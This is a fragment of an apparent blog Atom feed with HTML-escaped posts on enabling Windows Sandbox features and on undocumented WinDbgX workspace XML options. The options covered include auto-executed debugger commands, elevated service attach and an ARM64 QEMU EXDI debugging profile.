&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Get-ChildItem  &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;env:SystemRoot&lt;&#x2F;span&gt;&lt;span&gt;\Servicing\Packages\*DisposableClientVM*.mum | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ForEach-Object &lt;&#x2F;span&gt;&lt;span&gt;{ dism -Online -NoRestart -&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;add-package&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Enable-WindowsOptionalFeature  &lt;&#x2F;span&gt;&lt;span&gt;-All -Online -FeatureName Containers-DisposableClientVM
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;183723930-583c191c-d67a-43d1-8c5a-8c6dd6d4c78a.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;183723930-583c191c-d67a-43d1-8c5a-8c6dd6d4c78a.png&quot;

    

    
    title=&quot;image&quot;
    alt=&quot;image&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Another useful miniz! 👋&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>WinDbgX undocumented workspace options</title>
        <published>2022-07-17T00:00:00+00:00</published>
        <updated>2022-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2022-07-17-windbgx-workspaces/"/>
        <id>https://blahcat.github.io/2022-07-17-windbgx-workspaces/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2022-07-17-windbgx-workspaces/">&lt;p&gt;How to use WinDbgX workspaces to make debugging even easier.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;workspaces&quot;&gt;Workspaces&lt;&#x2F;h2&gt;
&lt;p&gt;WinDbgX workspaces (suffixed &lt;code&gt;.debugTargets&lt;&#x2F;code&gt;) are nothing more than XML files that instructs WinDbgX how to process with the current debugging session.
Saved workspaces can be found in &lt;code&gt;%LOCALAPPDATA%\DBG\Targets&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xml &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;encoding&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;Name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C:\Windows\System32\notepad.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;LastUsed&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2022-07-14T23:44:46.0958299Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineConfig &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;DebugChildProcesses&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;LaunchProcess&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Executable&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C:\Windows\System32\notepad.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Arguments&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;useful-workspaces&quot;&gt;Useful Workspaces&lt;&#x2F;h2&gt;
&lt;p&gt;Unfortunately the DTD is not documented &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;timmisiak&#x2F;status&#x2F;1547264830574174209&quot;&gt;and probably will never be&lt;&#x2F;a&gt;, but all it takes is a quick look at the &lt;code&gt;DbgX.Interfaces.Internal.dll&lt;&#x2F;code&gt; .NET library to see the namespace &lt;code&gt;Dbgx.Interfaces.Target.Options&lt;&#x2F;code&gt; which holds &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;742066e1fe6e8b078d65f66f790c52b7#:~:text=%5B-,OptionName,-%3D%20%22AttachProcess&quot;&gt;all the supported options&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Some examples:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;launch-notepad-process-and-auto-execute-commands&quot;&gt;Launch &lt;code&gt;notepad&lt;&#x2F;code&gt; process and auto-execute commands&lt;&#x2F;h3&gt;
&lt;p&gt;Also put a dummy breakpoint at 0x4242424242424242. Also forge a fake history, useful for avoiding copy&#x2F;paste of commands between session!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xml &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;encoding&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;Name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C:\Windows\System32\notepad.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;LastUsed&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2022-07-14T23:44:46.0958299Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineConfig &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;DebugChildProcesses&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;LaunchProcess&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Executable&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C:\Windows\System32\notepad.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Arguments&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ExecuteCommand&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Command&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bu 4242424242424242&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;RestorecommendHistory&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;History&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;dx @$curprocess.Environment.EnvironmentBlock.ProcessParameters&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;attach-and-auto-elevate-a-service-by-name&quot;&gt;Attach (and auto-elevate) a service by Name&lt;&#x2F;h3&gt;
&lt;p&gt;Here with &lt;code&gt;CryptSvc&lt;&#x2F;code&gt;. Also make the border red so we can find the window easily!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xml &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;encoding&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;Name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Attach Service&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;LastUsed&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2031-01-01T05:23:58.2908827Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;AccentColor&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;#FFFF0000&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineConfig &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EngineOptions &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AttachService&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Elevate&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Property &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ServiceName&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;CryptSvc&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetOptions&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TargetConfig&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;179410823-7b10187c-cd85-46cc-a8c5-f44ff61a5db5.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;user-images.githubusercontent.com&amp;#x2F;590234&amp;#x2F;179410823-7b10187c-cd85-46cc-a8c5-f44ff61a5db5.png&quot;

    

    
    title=&quot;image&quot;
    alt=&quot;image&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;setup-a-arm64-qemu-debugging-profile&quot;&gt;Setup a ARM64 Qemu debugging profile&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;configuring-the-exdi-debugger-transport&quot;&gt;Using EXDI&lt;&#x2F;a&gt;, and the provided &lt;code&gt;ExdiGdbSrv.dll&lt;&#x2F;code&gt; (in &lt;code&gt;C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2206.19001.0_x64__8wekyb3d8bbwe\amd64\ExdiGdbSrv.dll&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;regsvr32&lt;&#x2F;span&gt;&lt;span&gt; ExdiGdbSrv.dll
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can check out &lt;code&gt;C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2206.19001.0_x64__8wekyb3d8bbwe\amd64\exdiConfigData.xml&lt;&#x2F;code&gt; to see all the targets already created.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiTargets &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;CurrentTarget &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;QEMU&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&amp;lt;!-- QEMU SW simulator GDB server configuration --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ExdiTarget &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;Name &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;QEMU&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
